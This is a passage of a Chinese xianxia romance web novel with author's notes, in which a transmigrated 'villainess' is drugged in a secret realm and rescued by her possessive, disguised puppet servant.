与此同时,一条通体乌黑的小蛇自她肩头悄无声息地游弋爬到石上,昂首对着洛子晟发出“嘶嘶”的警告。 赤红竖瞳里闪烁着毫不掩饰敌意,可当怪怪看清那张熟悉的脸庞时,小家伙晃了晃脑袋。 鲜红的信子“嘶嘶”探出,焦躁地甩着尾巴尖,在原地转了两圈。 奇怪,这气息怎么尝起来不对劲? 宁瑶这才发现,小鼻嘎蛇不知何时缩成了指节大小,在她肩头跳下去,一副守护的姿态。 她强压下喉头一哽,指尖发颤地朝它招手:“往后些。” “它,是你的?”洛子晟怀疑眯起眼睛。 “对啊。”宁瑶扯出个笑,暗中掐了掐掌心,稳住害怕而发颤声音,“我养的小宠物嘛。” 真让怪怪靠近脚边,她脸颊都白了几分。她保持仰着脑袋,牵强笑得。 洛子晟眼底略带怀疑,“你从前见蛇就躲,遇虫则惊,何时竟养起这些?” 宁瑶脖颈一梗,“人都是会变的,只许你改变,偏我不行?” 这话确实带刺冲了点,可她控制不住。 洛子晟害她沦为全皇城的笑柄,此刻却摆出云淡风轻的模样,一副心安理得甚至从未发生过什么的模样同她搭话,胸口的无名火就烧得更旺。 总不能憋着气委屈自己,回头长出乳腺结节亏待身子。 宁瑶扯了唇干笑了一下,“请四师兄自便。” 作者有话说:入V了!祝每一个支持正版的小宝阅读愉快~专栏的预收文、专栏的作收,冲冲冲家人们[让我康康]ps:加更我会在上夹子后,“biu”的一下发送到位[眼镜]这几天熬夜到一两点攒字数,赶上更新有些累,所以迟一点orz 第24章 宁瑶别开脸,朝另外一边继续入定修炼。 小黑蛇怪怪则朝洛子晟吐出鲜红信子,昂首嘶鸣警告了一声,才懒洋洋盘在一旁的石头上。 洛子晟的目光落在宁瑶身上良久,竟一时忘了移开。 这几日他隐约察觉,宁瑶似乎哪里不一样了。 从前记忆中任性娇蛮,总爱缠着他胡闹的青梅竹马,连同那一道从出生起就被赐予的婚约,便像一道甜蜜的枷锁,勒得他喘不过气。 他身份是丞相之子,是天道宗如今最有望成仙的天之骄子,可在宁瑶面前总是…… 她那些刻意讨好的小把戏,欢颜时的靠近,只让他觉得厌烦又无趣。 他对她,不曾动过心。 本以为解除婚约后能一身轻松,可如今亲眼见她云淡风轻的模样,反倒像根刺,不轻不重地扎进心口,仿佛他才是那个受挫者。 他不自觉地收紧了握剑的手。 “师兄?”云冉冉提着食盒走来,里头装着她亲手做的糕点,她就见到这样一幕。 她顺着洛子晟的视线望去,只见宁瑶正闭目打坐,而洛子晟的剑招比平日更显凌厉,剑气纵横,仿佛在发泄什么。 宁瑶刚结束调息,起身便要离开。 “宁师姐留步。”云冉冉笑吟吟地拦在她面前。 两人目光相撞。 一个巧笑嫣然,一个若有所思。 宁瑶脑海的“记忆”开始作祟,毫无预兆地翻涌而上。 她微蹙了蹙眉头,至今都没想明白,云冉冉究竟是何时,悄无声息地出现在了洛子晟的身边。 在觉醒前她只以为是某一天的疏忽,才给了一个小丫头机会。 现在想想她是“恶毒女配”,云冉冉是女主,一切自然顺理成章。 宁瑶揉了揉发胀的太阳穴,纷乱的记忆搅得她脑仁疼。 自从云冉冉出现后,洛子晟的转变也挺多的,细数以前难以发现的细节,倒是有迹可循。 只是这些“记忆”只让她心里酸胀起来,压也压不住。 觉醒穿进这本限制文前,她的确任性了些,可她至今都记得清楚,那日两人一同跌进刺骨的湖水。 洛子晟毫不犹豫地游向云冉冉,独留她在冰冷的水中挣扎,最后是她的武婢青栀拼死将她从寒冷湖水中捞起。 如今回想,这些片段简直狗血得令人发笑。 若不是多了段现代的记忆,她怕是还要为此劳心伤神,暗自垂泪。 “宁师姐,我新做了芙蓉糕,要不要尝尝看?” 云冉冉笑盈盈地凑近,打断了宁瑶的思绪。 她眼底带着小心翼翼的试探,她天真烂漫的外表努力维持,可惜掩饰的不够好。使劲捏了捏掌心,紧攥着袖口,克制面色,扬起一抹恰到好处的笑。 “不必了。”宁瑶神色如常,唇边依旧挂着浅淡的笑意。 “子晟师兄不会说什么的。我记得师姐喜欢甜食,这次做的芙蓉糕味道可好了。” 连这种小事都同云冉冉说了。 宁瑶眼底掠过一丝了然。 许是还以为她对洛子晟多看一眼,便要不动声色地宣示主权——瞧,他待我与众不同。 看着递到眼前的糕点,宁瑶心口莫名发闷。 就在意识即将被纷乱的记忆淹没时,几乎在下意识想拍来云冉冉递来的手时,脚边忽然传来窸窣声响。 一条小黑蛇不知何时绕在宁瑶裙边,惊得她一个激灵,一双赤色竖瞳冷冷盯着云冉冉,发出威胁的嘶鸣。 宁瑶一改神情,清醒地眨眨眼,唇边绽开一抹笑,伸手接过那块芙蓉糕,用素白帕子仔细包好。 “多谢师妹好意。” 云冉冉没料到她会接下,眼底闪过一丝讶异,又浮现几分怜悯,夹杂着不易察觉的得意。 宁瑶忽然觉得有趣。 她不想配合演出。 云冉冉怎么就视而不见。 而且她倒是期待,如果没有她这恶女戏码,不知这两人的情愫还能不能如原著般顺利升温。 她捏着帕子里的糕点,想起书中那段关键剧情。男女主感情的第一次突破,似乎就发生在即将开启的天一秘境之中。 唇角弯起一抹意味深长的笑,她转身离去,这次云冉冉没有阻拦。 离开那三人的视线范围,宁瑶掌心窜起一簇火焰,将手帕包裹的东西烧得干干净净。随手一扬,灰烬随风四散。 宁瑶垂眸,瞥见亦步亦趋跟在脚边的小黑蛇,赶紧收回了自己的视线。 “怪怪,老祖宗的话说得对,陌生人的东西可不能乱吃。” 怪怪似懂非懂地颔首,隔着点距离跟在她一旁。 回到小院,宁瑶推开木门,左右张望不见祁淮的身影。 “祁淮?”她轻声唤道。 叮铃——银饰的作响,祁淮幽魂般立在身后。若不是这铃音,她根本察觉不到祁淮的行踪。 祁淮目光从她眉眼,目移到她脚边,怪怪立刻化作一道流光,飞回了他腕间的那枚黑色的迷离铃铛上。 “主人方才遇见了什么?” 宁瑶下意识避开他的注视,摇头一笑,强忍着心虚目移,笑着走近:“并未呀,倒是你去哪了。” 见她靠近,祁淮指尖摩挲着腰间四角铃铛,眼底沉积的阴郁似乎都淡去些许,“去喂了些……无家可归的‘小东西’。” “没想到我家祁淮这么有爱心。”宁瑶想起“物品夸夸论”,踮起脚尖揉了揉祁淮的发顶。 我家? 祁淮微歪头,眸色逐渐变得幽深,笑意意味深长,暗藏起一丝别样的审视。 这几日主人总独来独往,不愿带他出门,莫非是……藏着什么不想让他知晓的秘密。 思及此,祁淮郁闷了一瞬。 “主人,我还想要。”他忽的一笑,试探性的凑近,呼吸几乎拂过她鼻尖,面上依旧是标准温良无害的表情。 “好。”宁瑶笑着眉眼弯弯,合不拢嘴。 此刻她正心虚着,只要祁淮不提出些过分要求,她这个做主人的,都可以满足他。 祁淮顺势弯腰主动靠近,近到深深汲取那份独属于她的温暖馨香,才算满意。 这样就挺好。 宁瑶的手指穿过他微凉的发丝,这个高度恰好能够摸他的头。瞧去祁淮这张漂亮得过分脸蛋,简直是把“忠诚”二字刻在了骨子里。 虽然这是个极亲昵,甚至带些挑逗似的动作,但“主人”与“傀儡”之间,似乎并无不妥。 宁瑶方才在洛子晟那里受的闷气,连同原著剧情带来不经意的憋屈,此刻都被掌心柔软的触感抚平。 “祁淮,有你真好。” 宁瑶在心底欢呼着:这波“氪金”体验绝对物超所值,“氪金”给我氪到位! 趁她走神,祁淮不着痕迹地侧脸。温热的唇峰不经意擦过她手背,带着几分故意的逗弄。 他压下心底略带病态的玩味,那一丝心潮澎湃的恶劣因子,因她的触碰被一簇簇点燃。 宁瑶果然如祁淮所料,顺手触碰在脸颊。 指腹传来的触感让她微微一怔。 傀儡少年的皮肤竟比女儿家还要细腻。 她一时兴起,坏心眼地捏了捏,“手感倒是不错。” 谁知祁淮非但不躲,反而就着她指尖的力道蹭了蹭。 他垂眸的瞬间,眼底得逞暗芒一闪而过,他强压住想要上扬的唇角,却还是不经意泄露了几分真切,绽开一抹秾丽的浅笑,十足灿烂的笑意,不似“傀儡”往日那般标准呆板。 银饰轻轻晃动。 铃音不觉。 宁瑶清亮眸子微光闪过,一时竟晃了神。 她全然未察觉少年隐秘的心思,反倒像是发现新大陆般突然凑近,用指尖轻点他微扬的嘴角:“祁淮,你该多这样笑,笑得很好看。” “好看……”祁淮无意呢喃重复一遍,将这个词在唇齿间细细研磨。 忽地向前倾身,将自己完全在她的视线里放大,“那主人可要看仔细了。” “看的很清楚。” 这个距离,清冽的草木香便扑面而来。宁瑶有些好奇,傀儡都是什么材质制作的,祁淮身上气息这么好闻。 宁瑶实在没忍住凑近,像个小动物般在他颈间轻嗅。 祁淮看着某人好奇的眨了眨亮眸,视线一暗,视线不动声色地流转到那柔软的唇瓣上。 像只因好奇主动“投怀”的猫。 好乖。 乖的让人想…… 宁瑶后知后觉彼此距离太近,又被他看得止不住尴尬,掩饰着突如其来的心悸,梗着脖子干笑着问:“到底是什么香?” 心知祁淮是死物,心下理直气壮地凑上前,整张脸几乎快埋进祁淮的衣襟闻了够,她听到呼吸一沉。 突如其来的动作很快,宁瑶就像受惊的兔子般迅速退开。 “我闻不到。”祁淮垂眸遮住眸底笑意,面上神情依旧温顺,“傀儡是嗅不到自己气息的。” “好吧。”宁瑶故作轻松耸了耸肩,生硬地转移话题,“对了,我要闭关,直到天一秘境的开启,祁淮你好好看家。” “明白了。” 宁瑶笑了一声,走去阖上了门。 潮湿的视线紧紧跟随,直到倩影完全消失在视野里。 祁淮修长苍白的指尖拨动一下四角铃铛,那里竟响了一刹。 清脆又厚重,带着莫名的诡异感。 他的眸光不经意地从花圃里的花草上掠过,嘴角掀起一抹笑。 他确实是去投喂,不过喂的可不是什么别的“小可怜”。 而是他的蛊。 * 宁瑶闷头闭关七日,直到天一秘境开启的当天清晨,确认仪态无失,她才推门而出。 眯着眼伸了个懒腰,像只睡醒的猫儿扫一眼四下。 “主人,该出发了。”祁淮早早候在外门,她一出现并视线幽深盯着她。 “知道了。” 一只灵力驱动的千纸鹤扑棱落在宁瑶的肩头,是师尊的灵信。 信上说此次秘境只对新弟子开放,为示公平,特命她不得携带傀儡入内。 宁瑶撇撇嘴,把纸鹤塞进袖中。 祁淮将她的小动作尽收眼底,推开竹篱院门,“我会等主人回来。” 这让宁瑶迈过门槛的脚一顿,实在有违平日祁淮的举动,竟让她莫名失落了一下。 她伸手拍了拍他的肩头,眉眼一弯:“祁淮,乖乖等着,我肯定给你淘换点好玩的回来。” 他安静地点头。 直到身影雀跃离去,祁淮方才抬起眼睫,唇角牵起一丝弧度。身影如鬼魅般,悄无声息地跟在她不远不近的距离。 等她穿过传送阵抵达广场时,这里已经聚了不少人。 奇怪的是,鹅黄色身影刚一露面,无数道目光就齐刷刷看了过来。 这些同期弟子平日里最多点头之交,此刻却个个眼神古怪地往她身上瞟。 宁瑶下意识摸了摸脸。 难不成闭关七天脸上长花了?仪态不整? 作者有话说:[让我康康]下一章,24号零点更,给夹子助力,冲啊 第25章 “这就是羽安国那位郡主?”有人小声念叨了一句。 细碎的议论声飘进宁瑶的耳朵,她下意识望去。 “听说原本是个五灵根……” “现在不是宗主的单火灵根亲传吗,谁知道怎么洗去的灵根……” “听说在羽安国,前些时日,刚被洛师兄退了婚……” “她和洛师兄岂不是……” 随着修为上涨,宁瑶如今耳目只觉得更清晰,听此心里免不得咯噔一下。 这些言论是打哪儿来的? 她不是已经绕开女主了吗? 转念一想,宁瑶颇有些无奈,到底是低估了流言的传播力。 即便这是本限制级小说,可她的身份摆在那儿,有心人稍加在羽安国去打探,什么陈年旧账翻不出来。 宁瑶深吸一口气,指尖攥紧,这些都是些小场面。 一人知晓是偶然,一群人知晓,那可就是有人存心作妖了。 脑海里闪过几张面孔,又都被她按了回去。现在不是揪人的时候。 迎着周围的窃窃私语,少女反而挺直脊背,迎着各色目光粲然一笑。 管他什么牛鬼蛇神,秘境里见真章,不过等她从秘境出来,非得给这个人揪出来不可。 看她一派坦荡,四周议论的风向渐渐转向秘境传闻。 洛子晟听在耳中,本想出言转圜,唇瓣微动,却发现无从下口,确实事实便是如此。 云冉冉立在他身侧,觉察到那些若有若无的目光在她与洛子晟、宁瑶之间流转,仿佛他们将成众人焦点。 她不耐地垂下眼睫,指尖悄悄掐入掌心,不知与洛子晟耳语了什么,洛子晟和她便齐刷刷走到了人群边缘,背对她。 而在另一处角落,一位戴着诡异面具的少年姗姗来迟,静立无声。 深蓝圆帽压得很低,墨发上银饰无声,一身玄色衣袍朴素无华。面对旁人好奇打量询问,只冷冷丢下三字:“伤了脸。”声线寒凉。 无人察觉,隐秘幽深的目光穿透喧嚣人群,悄无声息地锁定了那道鹅黄色的身影。 宁瑶似有所感,回首望去,视线在人群中扫过,掠过那玄衣少年时停留了一下。不过少年黑发玄衣和她熟知之人并无相似,这才错开视线。 在她视线挪开刹那,漆黑的视线紧紧跟随而来。 * 天一秘境的入口并非传统石门,而是一棵参天枯木,需十人合抱,枝桠虬结,片叶不生,死寂中透着亘古的苍茫。 青川师兄手持碧玉灵牌上前,朗声道:“诸位,请入内。”玉牌贴近树干刹那,粗糙树皮竟漾开棕褐波纹,如水镜荡漾,隐现另一端透出一丝天光。 众人迫不及待鱼贯而入。 宁瑶正欲举步,摇着玉笛、身着藕粉长袍的夜烁卿不知从何处凑近,嗓音压得低沉含笑道:“宁师妹,秘境凶险,不若你我结伴同行?” “不必了。”宁瑶干笑一声,“你不是早约了云师妹与洛师兄?我就不凑这个热闹了。”话音未落,她已抢先半步,身影没入秘境光晕中。 夜烁卿手中玉笛轻敲肩头,望着她消失的方向低声轻叹:“我寻思,你不乐意,倒是推却了……”余音散在风里,无人得闻。 宁瑶再度睁眼,已置身天一秘境。 一只蓝蝶翩然落于她肩头,她随手轻挥了挥,随意选了个方向信步而去。 这天一秘境占地极广,奇花异兽确实不少。 可宁瑶这一路走来实在太过顺遂,顺遂得她都有些不安。 随手摘了几颗灵果,一边啃一边四下张望。 与其他拼死拼活的修士一比,宁瑶这哪像是来秘境历练探险,分明是逛自家的后花园。 不是说秘境里投放了不少作乱的妖兽吗? 宁瑶咔嚓咬了口灵果,含糊不清地嘀咕,“我怎么连根兽毛都没见着?” 正想着,前方树丛突然传来两道急促的动静。 宁瑶猫着腰悄无声息地蹲到树后,拨开枝叶偷看。 只见洛子晟被铺天盖地的木藤缠得动弹不得,他本是半步金丹的修为,此刻却挣扎得极为狼狈。 那些藤蔓如同活蛇,源源不断地从地下钻出,越收越紧。 一旁的云冉冉早吓傻了,衣衫狼狈得不算齐整,脸色惨白,握着剑身子发抖。 宁瑶本可以趁机开溜,谁知藤蔓跟长了眼似的,直冲她面门而来。 她只得旋身折返,顺手拽了洛子晟一把。 指尖窜出的灵火甫一沾上藤蔓,燃成一片火海。 成了精的藤蔓似是不怕死,顶着烈焰还要扑来,宁瑶足尖轻点避开攻势,眼看着火势顺着藤蔓一路噼里啪啦烧过去。 她借着力道跃上枝头,却见那烧成火龙的藤蔓突然调转方向,直扑树下脸色发白的云冉冉。 不好。 宁瑶腕间长鞭如游蛇出洞,缠住烈焰中的藤蔓猛力回扯。 洛子晟趁机脱身,冰剑凌空斩落,极寒剑气与灼灼烈火相撞,藤蔓在冷热交加中寸寸断裂,堪堪在云冉冉眼前停下,碎屑在她鼻尖前半寸簌簌落下。 刚松半口气,却闻见燃烧的藤蔓散出诡谲异香。 宁瑶慌忙掩住口鼻,仍慢了一步。 掺着灵粉的香风扑面而来,首当其冲的就是站在顺风处的她,她捂住口鼻也来不及吸入了一点。 灵粉沾在洛子晟和云冉冉身上,最严重的还是处在顺风口的宁瑶,香得她连打几个喷嚏。 “这味儿真浓……”宁瑶捂住鼻尖揉了揉。 云冉冉惊魂未定地抓着她衣袖,杏眼噙着水光:“多谢宁师姐……” “不必客气。”宁瑶摆摆手,谁叫她耐不住好奇心,心想这分明是自个儿好奇心太重招来的麻烦。 她转身欲走,洛子晟却闪身拦在面前。 少年深深望了她一眼,喉结微动似要说什么,欲言又止,最终默然侧身让开。 掠过他身侧时,宁瑶瞥见他的脸颊,突然心口发闷。 还是她的祁淮好看。 此刻傀儡在场,定要勾唇一笑轻唤:“主人……” 她好不容易寻到一处清澈见底的水池,四下张望确认无人后,这才嫌弃地将沾满尘土的衣裳丢在岸边青石上。 若是往日,这些琐事总有祁淮在一旁搭把手…… 不过分离半日,她已想起他好几次。 习惯当真可怕,像藤蔓悄无声息缠绕心房。 正要俯身掬水,体内灵气突然翻涌不止。 一股燥热自丹田窜起,宁瑶她踉跄起身,鼻尖似乎还萦绕起若有似无的异香。 收拾好身上衣物,她已经有些神志不清,眼前模糊重影着,灵气灼烧的她一阵阵抽疼。 “嘶——”宁瑶咬紧牙关,泪花险些在眼眶里打转。 这难以言喻的热与往日灵气紊乱大不相同,往常不过片刻便能平息,今日却似野火燎原,愈演愈烈。 草丛外忽然传来脚步声。 宁瑶强忍不适,闪身隐匿在池边怪石后。 待她悄悄探头望去,差点眼前一黑。 怎么到哪儿都能撞见洛子晟和云冉冉?莫非男女主在她身上装了GPS定位? 那边传来压抑的喘息。 宁瑶死死捂住口鼻,屏住呼吸,内心哀嚎:不会吧不会吧,现在?这里?还是三人剧本? 但见洛子晟虽面染薄红,尚且站得笔挺,反倒是被他半扶半抱着带入水中的云冉冉状况堪忧。 水声夹杂着断断续续的对话,宁瑶双手合十默默祈祷:我最多不过偶尔犯个花痴,真没想要观摩实战教学。 她下意识后退半步,裙摆不慎勾住枯枝。 清脆的断裂声在寂静中格外刺耳。 丝毫不受云冉冉诱惑,正背对云冉冉运功的洛子晟猛然回头。 就在这紧急关头,一道身影悄无声息地出现在她的身后,一只微凉的骨节分明的手捂住了她的唇瓣。 “嘘,”此人声线懒洋洋的,“需要帮忙吗?” 少年乌亮长发中银饰轻晃,面带古怪的面具,一手压低圆帽,唇角噙着抹似笑非笑的弧度。 宁瑶只觉眼前一花,那道玄色身影便已逼近身前。她吓得一个激灵,反手便是一记掌风劈去,却被对方轻巧扣住手腕。 “吓到了?”少年低笑,不由分说地将浑身戒备的宁瑶拉起,在洛子晟错愕的注视中,打横抱起。 银铃随着动作摇晃,但并无响动。 少年压低帽檐,面具下根本看不清容颜。 “放开!” 宁瑶想要挣扎着去捶他肩膀,下意识目光飘向呆立原处的洛子晟。 少年察觉到她的走神,眼底骤然翻涌起阴郁之色,收拢的手臂勒紧,并不会让她喘不过气。 “呵……”眼尾浮起病态的潮红,少年舔去自己咬破唇瓣上的血渍,低笑散在微风里。 眸光不经意间扫过不远处同样注视她的那道身影,看清那张与自己毫无二致的脸庞,他阴鸷的眸光压抑不住。 这些天来的种种纵容,那些飘忽躲闪的视线,刹那间如同散落的珍珠串成了线,一下子解释得通了。 主人,我还是发现了。 主人,你隐瞒得真是费尽心思…… 宁瑶眼皮猛地一跳,灵力逆流的疼和灼热一起反扑得厉害,浑身无力,这家伙不知道吃什么长大的,任她乱动都不放开。 她抽出袖口暗藏的匕首抵在他脖颈,“放手。” “放开她!”洛子晟见宁瑶被一个陌生少年紧紧箍在怀里,不知道宁瑶是何时出现在水池边的。他们中了毒藤暗算的媚粉,紧急将云冉冉带来这池边压制。 水池里的水流从中炸开,空气浮现数道冰凌。 水珠正从少年圆帽边缘滴落,那只手还牢牢扣在宁瑶腰间打横抱紧她。 她居然第一时间想的是想求助他吗…… “呵呵……” “宁瑶,你怎么会在这里?”洛子晟警惕地按住剑柄,“他是谁?” “我也想知道啊——”宁瑶试图从少年怀里挣脱,可浑身软绵绵使不上力,手上的刀柄都在掌心微微发颤。 她意识清醒得很,就是这具中毒的身体不听使唤,脸颊烫得她浑身无力。 第一次遇到这种剧情杀,内心的小人已经在愤愤挠墙了。 她戒备又小心地看向他,少年反而抱得她更加紧,她刀尖正要刺入皮肤被一股怪力泄去力道,匕首被冲击地掉在地上。 “你……” 还未来得及多说就被少年刻意压低的嗓音打断。他忽地低头凑近她耳畔,温热的呼吸拂过脸颊:“别动。” 再抬起眼时,目光阴鸷如淬毒银针,直直刺向洛子晟,“她,我治。” 话音一落,少年已揽着虚弱的宁瑶纵身后撤,几乎一个闪身就消失在原地。 宁瑶只觉得天旋地转,迷糊间只嗅到少年身上淡淡的清香,和一句低语:“真有意思。” 作者有话说:大家是把文养着了吗[让我康康]一看后台直挠头,梦一个好起来吧,家人们冲鸭ps:小宝们,明天上夹,夹子当天23:30更新哦[三花猫头] 第26章 “等等!” 洛子晟身子刚走一步要追去,衣袖却被云冉冉轻轻拽住。 回头看见她一副梨花带雨的柔弱模样,不得不停下脚步,咬牙催动冰灵气。 池边顿时凝结霜华,以冰灵气的寒意缓解她的体内媚毒。 洛子晟尚可稳住心神不受影响媚毒,不知为何脑海却翻涌出一道鹅黄色身影。 宁瑶修为不高,又是刚得了火系单灵根。深中媚毒的她,那个古怪的少年怎么救? 难不成…… 洛子晟指节捏紧,几乎要转身而去。 可垂眸看见云冉冉苍白的脸,那双总是含着水光的眼此刻无助地望着他。 她只是个不善战的丹修,离了他的庇护,在这危机四伏的秘境里寸步难行。 他焦灼死死压回,齿间都尝到了一丝铁锈味。 * 另一边,宁瑶迷迷糊糊睁开眼,下意识伸手在眼前晃了晃。 居然一片漆黑,半点光影都捕捉不到。 “不是吧,这就瞎了?”她心里咯噔一下,耳边却传来细微的脚步声。强压着体内翻涌的燥热,她试探着向前摸索,指尖忽然触到一片微凉的东西。 那人故意在她掌心轻轻一勾,吓得她猛地后退,脊背直接靠在冰冷的岩壁。 救命,这触感该不会是蛇吧? 宁瑶瞪大毫无焦距的双眼,随机选了个方向摆出防御姿态,压低声音道:“谁在那儿?出声!” 她试图强行凝聚灵力,却闷哼一声。 那股燥热反而变本加厉地窜上来,愈演愈烈反扑着摇摇欲坠的自制力,几乎要烧断名为“理智”的弦。 虽无人应答,可她联想到刚才那个对她施以援手的玄衣少年。 她拢了拢衣服,茫然地整个人蜷缩在岩壁前,“这位好汉,能不能吱个声?”总不能让她一个人在这儿演独角戏吧? 祁淮单膝半蹲在她面前,指腹虚虚摩挲在眼前人的精致眉眼,眼底燥郁与阴沉怎么都压不住。 小猫真是不乖。 他眸光扫过脸颊的潮红似灵果,泛着诱人之色的唇瓣微微翕动,莫名有了一种渴意。 口干舌燥中,似有一丝难以言喻的兴奋与雀跃。 他极为耐心,伸手闲情逸致地给她理了一下鬓角碎发。 宁瑶侧耳听到一道呼吸在靠近,肌肤与微凉的指尖再次相撞。 不触碰还好,一触碰,那股被压抑的热浪轰然冲上头顶。 “你……”她难受地蹭着背后冰凉的岩壁,声音发颤,“非要等我原地变身成女流氓才肯说话吗?” “你为何要救他?”祁淮忽的凑近,凉凉的吐息落在咫尺的耳畔,语气有几分刻意的压低。 “啊?”宁瑶被问得一愣,反应来无奈地睁大眼企图看向他的位置。 现在是她瞬间都要化身大shai迷,可能要扑倒一个陌生人危急时刻,这人居然在纠结她为何多管闲事? “呵呵,这是重点吗?” 宁瑶轻咬了咬下唇,压抑不住体内的燥热,恨不得解开衣襟。 但想到这玄衣少年,她宁愿热死,也不要失态给一个全然陌生的人看见。 见他没有应声,宁瑶眼底蒙着一层阴翳,更辨不出他眼底深意。 她悄悄撇了撇嘴,怎么少年的心思也像海底针似的难猜? 宁瑶实在憋不住了,清了清嗓子,故意端起架子:“既然你都诚心诚意地问了,我就大发慈悲告诉你。我呢,就是路过,运气背了点,顺手救了人,反被那毒藤摆了一道。” “只是路过?”他眸色暗芒一闪而过。 “当然了,你看我都交代完了。”宁瑶悄悄往后缩了缩,嘴上却不忘打趣,“要不你还是离我远些,我怕你待会‘害怕’。” “嗯?”祁淮没料到宁瑶会这般说,下意识掀起嘴角。 “毕竟我这般年纪,正是如狼似虎的时候。” 宁瑶刻意打趣后还自己先臊得慌,恨不能当场刨个坑把……眼前少年埋了。 心底的小人已经怨念恨不得“爆衣”,身子紧紧贴住身后冰冷的岩壁,贪恋那一点凉意,压下心底蠢蠢欲动的躁意。 现在是闲聊的时候吗? 他个笨蛋。 祁淮指尖轻轻摩挲,眼底玩味的笑意愈演愈烈。非但没退,反而欺近几分。 微凉的指腹掠过宁瑶滚烫的脸颊,带起一阵恰到好处的寒意,竟与她体内肆虐的灼热隐隐呼应。 “别动,”他嗓音不自然地低哑下去,“我在帮你。” “你这叫帮忙?”宁瑶欲哭无泪,脑中最后理智的弦应声而断。 身子不由自主地朝他靠去,满脑子只剩下一个念头:把他当成解毒的工具便好。 工具嘛,就是用过才算有用。 至于热死自己? 热死自己是不可能的,这种亏本买卖她可不干。 他看着她无意识地靠近,眸底暗色几乎压制不住翻涌。他捏紧了拳头,僵直身形非未躲开,反而朝着她摩挲的方向靠近。 他要如何信宁瑶仅是路过…… 她看向洛子晟的眼神,分明带着一丝不易察觉的情绪。 那是,她不曾给他的。 这个认知让胸腔里的火气悄然变质,化作一丝缠绕在心脏上的欲念。 他自袖中取出那枚从不离身的四角铃铛,无声一晃,掌心便凭空召出了一只通体雪白的蛊虫。 虫子蜷缩着,实在称不上好看。 “幸好你看不见。”他微歪头轻笑,用指尖玩味地点了点蛊虫的脑袋,圆帽上的流苏摇晃发出细微的声音。 此时宁瑶早已神志有些不清,嘴里嘟囔着“对不住啊工具人小哥”,整个人就软绵绵地栽进他怀里。 她不知道哪里来的力气,还是少年根本没反抗她,她很轻松将整个人压着。 贪凉的少女此刻像找到了冰玉做的枕头,双膝跨坐在他腿上,忍不住扑在他微凉的胸膛贴着蹭了蹭。 祁淮原本平稳的心跳渐渐失控。 “这声音……”宁瑶晕乎乎地觉得耳熟,可热度往脑子涌来,顿时思绪就成了一团浆糊。 她手上动作不停,胡乱拉扯着少年的衣襟。 看也看不见,没吃过猪肉,还没见过猪跑啊。 那种文里都是怎么写来着? 对,先扒衣服。 再…… 这种应该都是无师自通吧。 祁淮低头,正对上宁瑶迷离的目光。 宁瑶一根筋和解不开的腰封作对,她又看不见,只能自己摸着黑琢磨。 一双眼里潋滟的水光让祁淮忽然觉得,或许晚些解毒倒也不错。 这个念头让他自己都觉得荒谬至极,却又忍不住纵容。 祁淮半靠在岩壁上,双手虚悬微举在她身侧。 宁瑶几次险些歪倒,都被他及时扶住腰肢按回怀里。 少年高举着蛊虫的指间微微发颤,分明怕惊着她。 微垂的长睫掩着晦暗眸光,玄衣下摆被她压出褶皱,整个人呈现出一种任君采撷的模样。 “别乱动……”他尾音忽止。 宁瑶迷离的眨了眨眼,视线恢复了一丝光亮,扯他衣带发现解不开便转战他的脸颊。 绣着诡异图腾的圆帽被她一手掀落,高束的马尾夹杂小辫垂泻而下。 她盯着那张遮了全包的诡异恶鬼的赤红面具,蹙了蹙眉,觉得尤其碍眼。突然,她伸出手想取下。 祁淮急急地去抓她的手,慌忙扣住她手腕,制止她的动作,一低头便撞进她氤氲着水汽的眼眸。 少女滚烫的呼吸似缠绕在他耳畔,呜咽乱蹭的模样,比平日更教人挪不开眼。 指腹摩挲着她腕间皮肤下的脉搏,竟生出些难言的妄念。 “藏着、掖着算什么?”宁瑶虽是随时理智要被烧没,也带着身为郡主与生俱来的娇气劲儿。 她面颊潮红,祁淮只觉得她此刻张牙舞爪的样子可爱极了。 当宁瑶再次猫儿似的蹭在他胸前,偷偷摸摸又伸手去够他脸上面具。 祁淮手腕一转便轻松扣住了两只不安分的手腕,牢牢按在自己心口。 隔着薄薄衣料,她没有察觉到一丝凉意缓解。 “别动。”祁淮嗓音低哑,带着几分压抑。 “就动。” 宁瑶不服气地扭了扭,指尖故意在他胸前衣料上挠了一下,即无语又委屈道,“你说要治好我,可我现在分明难受极了。” 痛苦的是她,他添乱着,生怕她解决是吧。 这工具人小哥,非要气她不成。 她有些泄气磨了磨后槽牙,强忍着神志的清醒,想想从哪里下牙比较疼。 她这一挠,似把他雀跃的心都狠狠挠了一下。 祁淮呼吸一滞,从未想过自己引以为傲的自制力在宁瑶面前如此不堪一击。 意识微微回笼,瞧着她难受贪凉的模样,少女温热的体温透过相贴的肌肤传来,直直照进他阴暗潮湿的心底。 阴郁在眼底散去几分,他心底隐秘恶劣的小心思暂且被她委屈的模样压下去。 手中雪白的蛊虫趁着宁瑶乱蹭的间隙,搭落在她后脖颈,极小的雪白蛊虫毫不客气咬了一口。 宁瑶刺疼了一下,浑身的不舒服便如潮水般褪去。 意识清醒的刹那就被一股沉沉地睡意席卷来,她迷蒙地睁开双眼。面具之下的那双眼睛有些熟悉,伸出手刚刚触及面具边缘,便软绵绵地倒在他怀里。 最后视野里,是少年的指腹若有似无地摩挲过她的脸颊。 咬了咬牙,趁着最后的意识,宁瑶上去对着他的手腕就是一口,咬完便歪着头沉沉睡去。 像是被小猫咬了一口。 祁淮蓦然弯唇,眼底新奇和兴味几乎呼之欲出。忽地想到什么,手臂一收,将人更深地按进怀里。 另一只手利落地挑开了自己的面具,眸光一沉。 她不说话,世界竟这般安静。 眸底的阴郁因这番安静去而复返,重新凝聚,比先前更浓。 作者有话说:上夹前,bia着嘴差点要哭[爆哭],和我的咕咕左右合计挠头是不是写偏了上夹后,抽抽鼻子,眼泪憋回去,本人已老实[眼镜]会好好更新,不愧对各位家人们小宝们[溜走] 第27章 指腹安抚摩挲着宁瑶后颈上那道细小的咬痕。下一秒祁淮低头,温热的唇覆了上去,不轻不重地吮咬。 直到那处肌肤泛起更艳丽的红,如雪地里绽开的梅,才从喉间溢出一声喟叹。 “主人,还会疼吗?嗯?”他压低嗓音出声问着,声音里带着一种奇异的满足。 可他知道无人回应。 这反复加深的印记,是独属于他,谁也抹不去的联接。 祁淮盯着宁瑶后颈上比往日更深的印记,心底翻涌着说不清的酸涩。 明明这次留下的痕迹更重,为何却觉得她离自己更远了,得了个落寞难受…… 祁淮忽地低哑笑出声,将怀里的人搂得更紧。 呵,不过是个碍眼的人,生了张相似的脸…… 少年眼底泛起猩红,下颌轻蹭着宁瑶柔软的发顶。 直到熟悉的馨香沁入呼吸,安抚人心,胸腔里躁动的杀意才缓缓沉入心底隐秘的角落。 